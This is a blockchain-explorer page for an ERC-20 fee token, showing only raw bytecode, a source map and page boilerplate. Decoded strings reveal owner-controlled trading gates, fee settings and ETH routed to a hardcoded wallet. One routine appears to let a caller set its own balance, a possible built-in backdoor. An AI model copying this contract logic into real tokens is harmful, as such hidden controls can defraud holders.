0e51b81526004016105359061140b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b600060125460035461048860015490565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016105359061140b565b60006064836105f160015490565b6105fb91906113d2565b61060591906113e9565b9050600060648361061560015490565b61061f91906113d2565b61062991906113e9565b60038590556004849055905060006106576103e8610651600561064b60015490565b90610ad9565b90610ae5565b90508083101580156106695750808210155b6106b55760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e3525006044820152606401610535565b5050505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261049c9290916107229190610af1565b90610af1565b600061046d3384846109a8565b600a889055600c879055600e869055600d859055600f848155601084905560118390553360009081526005602052604090208290555415801561077a57506010546002145b801561078857506011546002145b801561079c57508068056bc75e2d63100000145b6107fc5760405162461bcd60e51b815260206004820152602b60248201527f746f74616c46656520616e642073656c6c6665652063616e6e6f74206265206d60448201526a6f7265207468616e20352560a81b6064820152608401610535565b5050505050505050565b6000546001600160a01b031633146108305760405162461bcd60e51b81526004016105359061140b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b0382166109475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6109b28383610afd565b6109bc8383610b92565b6109c7838383610be9565b6001600160a01b0383166000908152600560205260409020546109ea9082610af1565b6001600160a01b038416600090815260056020526040812091909155610a108484610c0f565b610a1a5781610a25565b610a25848484610c55565b6001600160a01b038416600090815260056020526040902054909150610a4b9082610d43565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a9f9085815260200190565b60405180910390a350505050565b60008184841115610ad15760405162461bcd60e51b815260040161053591906111e9565b505050900390565b600061050482846113d2565b600061050482846113e9565b6000610504828461142b565b6001600160a01b03821660009081526007602052604090205460ff16158015610b3f57506001600160a01b03811660009081526007602052604090205460ff16155b15610b8e57600954600160a01b900460ff16610b8e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610535565b5050565b6009546001600160a01b038281169116148015610bc857506001600160a01b03821660009081526007602052604090205460ff16155b15610b8e57600160146000828254610be0919061143e565b90915550505050565b610bf4838383610d4f565b15610c0a57610c04601654610dfc565b60006014555b505050565b6001600160a01b03821660009081526007602052604081205460ff161580156105045750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080610c628585610f87565b1115610d3c576000610c85610c778686610f87565b60125461064b908690610ae5565b30600090815260056020526040902054909150610ca29082610d43565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a3600e5415610d2a57610d2a3061dead610d25600e5461064b60125489610ae590919063ffffffff16565b6109a8565b610d348382610af1565b915050610504565b5092915050565b6000610504828461143e565b6017546016543060009081526005602052604081205460155491938510159211159060ff16158015610d83575060135460ff165b8015610d985750600954600160a01b900460ff165b8015610da15750815b8015610dc657506001600160a01b03861660009081526007602052604090205460ff16155b8015610ddf57506009546001600160a01b038681169116145b8015610de9575060015b8015610df25750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600a54600093610e369360029361064b939192610e30928391610d43565b90610d43565b90506000610e5382610651600a5486610ad990919063ffffffff16565b90506000610e618483610af1565b905047610e6d82610fd2565b6000610e794783610af1565b90506000610e9c610e95600a5488610af190919063ffffffff16565b8390610ae5565b90506000610eb5600a5483610ad990919063ffffffff16565b90508015610ec757610ec7868261112c565b600c54600090610edc9061064b856002610ad9565b90508015610f27576040517313db6516cf338d452f7984f2fd16028f56b8cde39082156108fc029083906000818181858888f19350505050158015610f25573d6000803e3d6000fd5b505b478015610f71576040517313db6516cf338d452f7984f2fd16028f56b8cde39082156108fc029083906000818181858888f19350505050158015610f6f573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6009546000906001600160a01b0390811690831603610fa95750601054610471565b6009546001600160a01b0390811690841603610fc85750600f54610471565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061100757611007611451565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611060573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110849190611467565b8160018151811061109757611097611451565b6001600160a01b0392831660209182029290920101526008546110bd9130911684610884565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f6908590600090869030904290600401611484565b600060405180830381600087803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b505050505050565b6008546111449030906001600160a01b031684610884565b60085460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527313db6516cf338d452f7984f2fd16028f56b8cde360848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156111c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106b591906114f5565b600060208083528351808285015260005b81811015611216578581018301518582016040015282016111fa565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124c57600080fd5b50565b6000806040838503121561126257600080fd5b823561126d81611237565b946020939093013593505050565b60008060006060848603121561129057600080fd5b833561129b81611237565b925060208401356112ab81611237565b929592945050506040919091013590565b6000602082840312156112ce57600080fd5b813561050481611237565b600080604083850312156112ec57600080fd5b82356112f781611237565b91506020830135801515811461130c57600080fd5b809150509250929050565b6000806040838503121561132a57600080fd5b50508035926020909101359150565b6000806040838503121561134c57600080fd5b823561135781611237565b9150602083013561130c81611237565b600080600080600080600080610100898b03121561138457600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610471576104716113bc565b60008261140657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b81810381811115610471576104716113bc565b80820180821115610471576104716113bc565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147957600080fd5b815161050481611237565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d45784516001600160a01b0316835293830193918301916001016114af565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561150a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba73877414bb6a4b1e6b2816e96e26faef76f4076a4b47cdc50764e5c04e388664736f6c63430008130033
Deployed Bytecode Sourcemap
4809:10434:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7138:67;;;;;;;;;;-1:-1:-1;7198:5:0;;;;;;;;;;;;-1:-1:-1;;;7198:5:0;;;;7138:67;;;;;;;:::i;:::-;;;;;;;;8243:133;;;;;;;;;;-1:-1:-1;8243:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8243:133:0;1023:187:1;7518:84:0;;;;;;;;;;-1:-1:-1;7588:12:0;;7518:84;;;1361:25:1;;;1349:2;1334:18;7518:84:0;1215:177:1;8645:119:0;;;;;;;;;;;;;:::i;14588:309::-;;;;;;;;;;-1:-1:-1;14588:309:0;;;;;:::i;:::-;;:::i;7361:67::-;;;;;;;;;;;;;:::i;:::-;;3189:87;;;;;;;;;;-1:-1:-1;3189:87:0;;;;;:::i;:::-;3244:4;3269:5;-1:-1:-1;;;;;3258:16:0;;;3269:5;;3258:16;;3189:87;7288:67;;;;;;;;;;-1:-1:-1;7288:67:0;;5033:1;2252:36:1;;2240:2;2225:18;7288:67:0;2110:184:1;5388:44:0;;;;;;;;;;-1:-1:-1;5388:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8129:108;;;;;;;;;;-1:-1:-1;8129:108:0;;;;;:::i;:::-;;:::i;7608:103::-;;;;;;;;;;-1:-1:-1;7608:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7691:18:0;7674:7;7691:18;;;:9;:18;;;;;;;7608:103;8526:113;;;;;;;;;;;;;:::i;10008:425::-;;;;;;;;;;-1:-1:-1;10008:425:0;;;;;:::i;:::-;;:::i;7434:78::-;;;;;;;;;;-1:-1:-1;7486:7:0;7504:5;-1:-1:-1;;;;;7504:5:0;7434:78;;;-1:-1:-1;;;;;3137:32:1;;;3119:51;;3107:2;3092:18;7434:78:0;2973:203:1;8382:138:0;;;;;;;;;;;;;:::i;7211:71::-;;;;;;;;;;-1:-1:-1;7273:7:0;;;;;;;;;;;;-1:-1:-1;;;7273:7:0;;;;7211:71;;5462:19;;;;;;;;;;-1:-1:-1;5462:19:0;;;;-1:-1:-1;;;;;5462:19:0;;;7717:139;;;;;;;;;;-1:-1:-1;7717:139:0;;;;;:::i;:::-;;:::i;7862:127::-;;;;;;;;;;-1:-1:-1;7862:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7960:18:0;;;7943:7;7960:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7862:127;9314:686;;;;;;;;;;-1:-1:-1;9314:686:0;;;;;:::i;:::-;;:::i;3282:111::-;;;;;;;;;;-1:-1:-1;3282:111:0;;;;;:::i;:::-;;:::i;8243:133::-;8318:4;8325:37;8334:10;8346:7;8355:6;8325:8;:37::i;:::-;-1:-1:-1;8370:4:0;8243:133;;;;;:::o;8645:119::-;8696:7;8751:11;;8729:19;;8713:13;7588:12;;;7518:84;8713:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;8706:56;;8645:119;:::o;14588:309::-;14686:4;14703:36;14713:6;14721:9;14732:6;14703:9;:36::i;:::-;14750:117;14759:6;14767:10;14779:87;14815:6;14779:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14779:19:0;;;;;;:11;:19;;;;;;;;14799:10;14779:31;;;;;;;;;:87;:35;:87::i;:::-;14750:8;:117::i;:::-;-1:-1:-1;14885:4:0;14588:309;;;;;;:::o;7361:67::-;3244:4;3269:5;-1:-1:-1;;;;;3269:5:0;3156:10;3258:16;3140:38;;;;-1:-1:-1;;;3140:38:0;;;;;;;:::i;:::-;;;;;;;;;7405:14:::1;:21:::0;;-1:-1:-1;;;;7405:21:0::1;-1:-1:-1::0;;;7405:21:0::1;::::0;;7361:67::o;8129:108::-;3244:4;3269:5;-1:-1:-1;;;;;3269:5:0;3156:10;3258:16;3140:38;;;;-1:-1:-1;;;3140:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8203:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8203:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8129:108::o;8526:113::-;8571:7;8626:11;;8604:19;;8588:13;7588:12;;;7518:84;10008:425;3244:4;3269:5;-1:-1:-1;;;;;3269:5:0;3156:10;3258:16;3140:38;;;;-1:-1:-1;;;3140:38:0;;;;;;;:::i;:::-;10091:13:::1;10132:3;10124:4;10108:13;7588:12:::0;;;7518:84;10108:13:::1;:20;;;;:::i;:::-;10107:28;;;;:::i;:::-;10091:44;;10146:19;10195:3;10185:6;10169:13;7588:12:::0;;;7518:84;10169:13:::1;:22;;;;:::i;:::-;10168:30;;;;:::i;:::-;10209:19;:26:::0;;;10246:19:::1;:28:::0;;;10146:52;-1:-1:-1;;10301:30:0::1;10326:4;10301:20;10319:1;10301:13;7588:12:::0;;;7518:84;10301:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;10285:46;;10359:5;10350;:14;;:38;;;;;10383:5;10368:11;:20;;10350:38;10342:83;;;::::0;-1:-1:-1;;;10342:83:0;;5563:2:1;10342:83:0::1;::::0;::::1;5545:21:1::0;5602:2;5582:18;;;5575:30;5641:33;5621:18;;;5614:61;5692:18;;10342:83:0::1;5361:355:1::0;10342:83:0::1;10080:353;;;10008:425:::0;;:::o;8382:138::-;7691:9;:18;;;;6211:42;8441:7;7691:18;;;;;8458:12;;8441:7;;8458:60;;7691:18;;8458:33;;:12;:16;:33::i;:::-;:37;;:60::i;7717:139::-;7795:4;7802:40;7812:10;7824:9;7835:6;7802:9;:40::i;9314:686::-;9497:12;:25;;;9533:12;:25;;;9569:7;:15;;;9595:14;:29;;;9635:8;:17;;;9663:7;:15;;;9689:11;:20;;;9823:10;-1:-1:-1;9813:21:0;;;:9;:21;;;;;:30;;;9873:8;:13;:29;;;;;9890:7;;9901:1;9890:12;9873:29;:49;;;;;9906:11;;9921:1;9906:16;9873:49;:71;;;;;9926:6;9936:8;9926:18;9873:71;9865:127;;;;-1:-1:-1;;;9865:127:0;;5923:2:1;9865:127:0;;;5905:21:1;5962:2;5942:18;;;5935:30;6001:34;5981:18;;;5974:62;-1:-1:-1;;;6052:18:1;;;6045:41;6103:19;;9865:127:0;5721:407:1;9865:127:0;9314:686;;;;;;;;:::o;3282:111::-;3244:4;3269:5;-1:-1:-1;;;;;3269:5:0;3156:10;3258:16;3140:38;;;;-1:-1:-1;;;3140:38:0;;;;;;;:::i;:::-;3348:5:::1;:11:::0;;-1:-1:-1;;;;;;3348:11:0::1;-1:-1:-1::0;;;;;3348:11:0;::::1;::::0;;::::1;::::0;;;3366:25:::1;::::0;3119:51:1;;;3366:25:0::1;::::0;3107:2:1;3092:18;3366:25:0::1;;;;;;;3282:111:::0;:::o;14905:335::-;-1:-1:-1;;;;;14998:19:0;;14990:68;;;;-1:-1:-1;;;14990:68:0;;6551:2:1;14990:68:0;;;6533:21:1;6590:2;6570:18;;;6563:30;6629:34;6609:18;;;6602:62;-1:-1:-1;;;6680:18:1;;;6673:34;6724:19;;14990:68:0;6349:400:1;14990:68:0;-1:-1:-1;;;;;15077:21:0;;15069:68;;;;-1:-1:-1;;;15069:68:0;;6956:2:1;15069:68:0;;;6938:21:1;6995:2;6975:18;;;6968:30;7034:34;7014:18;;;7007:62;-1:-1:-1;;;7085:18:1;;;7078:32;7127:19;;15069:68:0;6754:398:1;15069:68:0;-1:-1:-1;;;;;15148:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15200:32;;1361:25:1;;;15200:32:0;;1334:18:1;15200:32:0;;;;;;;14905:335;;;:::o;8772:534::-;8861:38;8881:6;8889:9;8861:19;:38::i;:::-;8910:35;8927:6;8935:9;8910:16;:35::i;:::-;8956;8965:6;8973:9;8984:6;8956:8;:35::i;:::-;-1:-1:-1;;;;;9022:17:0;;;;;;:9;:17;;;;;;:29;;9044:6;9022:21;:29::i;:::-;-1:-1:-1;;;;;9002:17:0;;;;;;:9;:17;;;;;:49;;;;9087:32;9012:6;9109:9;9087:13;:32::i;:::-;:78;;9159:6;9087:78;;;9122:34;9130:6;9138:9;9149:6;9122:7;:34::i;:::-;-1:-1:-1;;;;;9199:20:0;;;;;;:9;:20;;;;;;9062:103;;-1:-1:-1;9199:40:0;;9062:103;9199:24;:40::i;:::-;-1:-1:-1;;;;;9176:20:0;;;;;;;:9;:20;;;;;;;:63;;;;9255:43;;;;;;;;;;9283:14;1361:25:1;;1349:2;1334:18;;1215:177;9255:43:0;;;;;;;;8850:456;8772:534;;;:::o;1521:162::-;1607:7;1653:12;1645:6;;;;1637:29;;;;-1:-1:-1;;;1637:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1675:5:0;;;1521:162::o;396:82::-;454:7;471:5;475:1;471;:5;:::i;484:82::-;542:7;559:5;563:1;559;:5;:::i;308:82::-;366:7;383:5;387:1;383;:5;:::i;10441:191::-;-1:-1:-1;;;;;10534:19:0;;;;;;:11;:19;;;;;;;;10533:20;:47;;;;-1:-1:-1;;;;;;10558:22:0;;;;;;:11;:22;;;;;;;;10557:23;10533:47;10530:95;;;10590:14;;-1:-1:-1;;;10590:14:0;;;;10582:41;;;;-1:-1:-1;;;10582:41:0;;7492:2:1;10582:41:0;;;7474:21:1;7531:2;7511:18;;;7504:30;-1:-1:-1;;;7550:18:1;;;7543:44;7604:18;;10582:41:0;7290:338:1;10582:41:0;10441:191;;:::o;10640:159::-;10737:4;;-1:-1:-1;;;;;10724:17:0;;;10737:4;;10724:17;:41;;;;-1:-1:-1;;;;;;10746:19:0;;;;;;:11;:19;;;;;;;;10745:20;10724:41;10721:71;;;10788:1;10767:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;10640:159:0;;:::o;13430:197::-;13522:41;13537:6;13545:9;13556:6;13522:14;:41::i;:::-;13519:101;;;13565:29;13580:13;;13565:14;:29::i;:::-;13616:1;13596:9;:22;13519:101;13430:197;;;:::o;13635:160::-;-1:-1:-1;;;;;13741:19:0;;13716:4;13741:19;;;:11;:19;;;;;;;;13740:20;:47;;;;-1:-1:-1;;;;;;;13765:22:0;;;;;:11;:22;;;;;;;;13764:23;;13635:160;-1:-1:-1;13635:160:0:o;14034:546::-;14120:7;14176:1;14143:30;14155:6;14163:9;14143:11;:30::i;:::-;:34;14140:418;;;14189:17;14209:59;14237:30;14249:6;14257:9;14237:11;:30::i;:::-;14220:11;;14209:23;;:6;;:10;:23::i;:59::-;14324:4;14306:24;;;;:9;:24;;;;;;14189:79;;-1:-1:-1;14306:39:0;;14189:79;14306:28;:39::i;:::-;14297:4;14279:24;;;;:9;:24;;;;;;;:66;;;;14361:42;;-1:-1:-1;;;;;14361:42:0;;;;;;;14393:9;1361:25:1;;1349:2;1334:18;;1215:177;14361:42:0;;;;;;;;14417:7;;:20;14414:104;;14439:77;14457:4;6211:42;14479:36;14507:7;;14479:23;14490:11;;14479:6;:10;;:23;;;;:::i;:36::-;14439:9;:77::i;:::-;14535:21;:6;14546:9;14535:10;:21::i;:::-;14528:28;;;;;14140:418;-1:-1:-1;14566:6:0;14034:546;-1:-1:-1;;14034:546:0:o;220:82::-;278:7;295:5;299:1;295;:5;:::i;13022:400::-;13163:15;;13239:13;;13229:4;13120;7691:18;;;:9;:18;;;;;;13271:8;;13120:4;;13153:25;;;;-1:-1:-1;13211:41:0;;13271:8;;13270:9;:24;;;;-1:-1:-1;13283:11:0;;;;13270:24;:42;;;;-1:-1:-1;13298:14:0;;-1:-1:-1;;;13298:14:0;;;;13270:42;:54;;;;;13316:8;13270:54;:78;;;;-1:-1:-1;;;;;;13329:19:0;;;;;;:11;:19;;;;;;;;13328:20;13270:78;:99;;;;-1:-1:-1;13365:4:0;;-1:-1:-1;;;;;13352:17:0;;;13365:4;;13352:17;13270:99;:126;;;;-1:-1:-1;13373:23:0;13270:126;:144;;;;;13400:14;13270:144;13263:151;13022:400;-1:-1:-1;;;;;;13022:400:0:o;11164:1066::-;6132:8;:15;;-1:-1:-1;;6132:15:0;6143:4;6132:15;;;;;;11301:14:::1;::::0;11283:12:::1;::::0;11259::::1;::::0;6132:8;;11258:66:::1;::::0;11322:1:::1;::::0;11259:57:::1;::::0;11301:14;;11259:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;11258:66::-;11235:89;;11335:32;11370:42;11399:12;11370:24;11381:12;;11370:6;:10;;:24;;;;:::i;:42::-;11335:77:::0;-1:-1:-1;11423:14:0::1;11440:36;:6:::0;11335:77;11440:10:::1;:36::i;:::-;11423:53:::0;-1:-1:-1;11512:21:0::1;11544:24;11423:53:::0;11544:16:::1;:24::i;:::-;11579:20;11602:41;:21;11628:14:::0;11602:25:::1;:41::i;:::-;11579:64;;11654:19;11675:48;11692:30;11709:12;;11692;:16;;:30;;;;:::i;:::-;11675:12:::0;;:16:::1;:48::i;:::-;11654:69;;11734:29;11766;11782:12;;11766:11;:15;;:29;;;;:::i;:::-;11734:61:::0;-1:-1:-1;11809:34:0;;11806:103:::1;;11845:61;11858:24;11884:21;11845:12;:61::i;:::-;11965:12;::::0;11919:20:::1;::::0;11942:36:::1;::::0;:18:::1;:11:::0;11958:1:::1;11942:15;:18::i;:36::-;11919:59:::0;-1:-1:-1;11992:16:0;;11989:73:::1;;12010:50;::::0;6406:42:::1;::::0;12010:50;::::1;;;::::0;12047:12;;12010:50:::1;::::0;;;12047:12;6406:42;12010:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11989:73;12099:21;12134:29:::0;;12131:92:::1;;12165:56;::::0;6309:42:::1;::::0;12165:56;::::1;;;::::0;12204:16;;12165:56:::1;::::0;;;12204:16;6309:42;12165:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12131:92;-1:-1:-1::0;;6152:8:0;:16;;-1:-1:-1;;6152:16:0;;;-1:-1:-1;;;;;;;;11164:1066:0:o;13807:219::-;13922:4;;13886:7;;-1:-1:-1;;;;;13922:4:0;;;13909:17;;;;13906:38;;-1:-1:-1;13935:7:0;;13928:14;;13906:38;13967:4;;-1:-1:-1;;;;;13967:4:0;;;13957:14;;;;13954:36;;-1:-1:-1;13980:8:0;;13973:15;;13954:36;-1:-1:-1;14007:11:0;;13807:219;;;;:::o;12580:434::-;12670:16;;;12684:1;12670:16;;;;;;;;12646:21;;12670:16;;;;;;;;;;-1:-1:-1;12670:16:0;12646:40;;12715:4;12697;12702:1;12697:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12697:23:0;;;:7;;;;;;;;;;:23;;;;12741:6;;:13;;;-1:-1:-1;;;12741:13:0;;;;:6;;;;;:11;;:13;;;;;12697:7;;12741:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12731:4;12736:1;12731:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12731:23:0;;;:7;;;;;;;;;:23;12797:6;;12765:53;;12782:4;;12797:6;12806:11;12765:8;:53::i;:::-;12829:6;;:177;;-1:-1:-1;;;12829:177:0;;-1:-1:-1;;;;;12829:6:0;;;;:57;;:177;;12901:11;;12829:6;;12943:4;;12970;;12990:15;;12829:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12635:379;12580:434;:::o;12238:334::-;12351:6;;12319:53;;12336:4;;-1:-1:-1;;;;;12351:6:0;12360:11;12319:8;:53::i;:::-;12383:6;;:181;;-1:-1:-1;;;12383:181:0;;12446:4;12383:181;;;9609:34:1;9659:18;;;9652:34;;;12383:6:0;9702:18:1;;;9695:34;;;9745:18;;;9738:34;6493:42:0;9788:19:1;;;9781:44;12548:15:0;9841:19:1;;;9834:35;-1:-1:-1;;;;;12383:6:0;;;;:22;;12413:9;;9543:19:1;;12383:181:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:416::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2480:9;2467:23;2499:31;2524:5;2499:31;:::i;:::-;2549:5;-1:-1:-1;2606:2:1;2591:18;;2578:32;2648:15;;2641:23;2629:36;;2619:64;;2679:1;2676;2669:12;2619:64;2702:7;2692:17;;;2299:416;;;;;:::o;2720:248::-;2788:6;2796;2849:2;2837:9;2828:7;2824:23;2820:32;2817:52;;;2865:1;2862;2855:12;2817:52;-1:-1:-1;;2888:23:1;;;2958:2;2943:18;;;2930:32;;-1:-1:-1;2720:248:1:o;3181:388::-;3249:6;3257;3310:2;3298:9;3289:7;3285:23;3281:32;3278:52;;;3326:1;3323;3316:12;3278:52;3365:9;3352:23;3384:31;3409:5;3384:31;:::i;:::-;3434:5;-1:-1:-1;3491:2:1;3476:18;;3463:32;3504:33;3463:32;3504:33;:::i;3574:661::-;3696:6;3704;3712;3720;3728;3736;3744;3752;3805:3;3793:9;3784:7;3780:23;3776:33;3773:53;;;3822:1;3819;3812:12;3773:53;-1:-1:-1;;3845:23:1;;;3915:2;3900:18;;3887:32;;-1:-1:-1;3966:2:1;3951:18;;3938:32;;4017:2;4002:18;;3989:32;;-1:-1:-1;4068:3:1;4053:19;;4040:33;;-1:-1:-1;4120:3:1;4105:19;;4092:33;;-1:-1:-1;4172:3:1;4157:19;;4144:33;;-1:-1:-1;4224:3:1;4209:19;4196:33;;-1:-1:-1;3574:661:1;-1:-1:-1;3574:661:1:o;4500:127::-;4561:10;4556:3;4552:20;4549:1;4542:31;4592:4;4589:1;4582:15;4616:4;4613:1;4606:15;4632:168;4705:9;;;4736;;4753:15;;;4747:22;;4733:37;4723:71;;4774:18;;:::i;4805:217::-;4845:1;4871;4861:132;;4915:10;4910:3;4906:20;4903:1;4896:31;4950:4;4947:1;4940:15;4978:4;4975:1;4968:15;4861:132;-1:-1:-1;5007:9:1;;4805:217::o;5027:329::-;5229:2;5211:21;;;5268:1;5248:18;;;5241:29;-1:-1:-1;;;5301:2:1;5286:18;;5279:36;5347:2;5332:18;;5027:329::o;7157:128::-;7224:9;;;7245:11;;;7242:37;;;7259:18;;:::i;7633:125::-;7698:9;;;7719:10;;;7716:36;;;7732:18;;:::i;7895:127::-;7956:10;7951:3;7947:20;7944:1;7937:31;7987:4;7984:1;7977:15;8011:4;8008:1;8001:15;8027:251;8097:6;8150:2;8138:9;8129:7;8125:23;8121:32;8118:52;;;8166:1;8163;8156:12;8118:52;8198:9;8192:16;8217:31;8242:5;8217:31;:::i;8283:980::-;8545:4;8593:3;8582:9;8578:19;8624:6;8613:9;8606:25;8650:2;8688:6;8683:2;8672:9;8668:18;8661:34;8731:3;8726:2;8715:9;8711:18;8704:31;8755:6;8790;8784:13;8821:6;8813;8806:22;8859:3;8848:9;8844:19;8837:26;;8898:2;8890:6;8886:15;8872:29;;8919:1;8929:195;8943:6;8940:1;8937:13;8929:195;;;9008:13;;-1:-1:-1;;;;;9004:39:1;8992:52;;9099:15;;;;9064:12;;;;9040:1;8958:9;8929:195;;;-1:-1:-1;;;;;;;9180:32:1;;;;9175:2;9160:18;;9153:60;-1:-1:-1;;;9244:3:1;9229:19;9222:35;9141:3;8283:980;-1:-1:-1;;;8283:980:1:o;9880:306::-;9968:6;9976;9984;10037:2;10025:9;10016:7;10012:23;10008:32;10005:52;;;10053:1;10050;10043:12;10005:52;10082:9;10076:16;10066:26;;10132:2;10121:9;10117:18;10111:25;10101:35;;10176:2;10165:9;10161:18;10155:25;10145:35;;9880:306;;;;;:::o
Swarm Source
ipfs://ba73877414bb6a4b1e6b2816e96e26faef76f4076a4b47cdc50764e5c04e3886
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.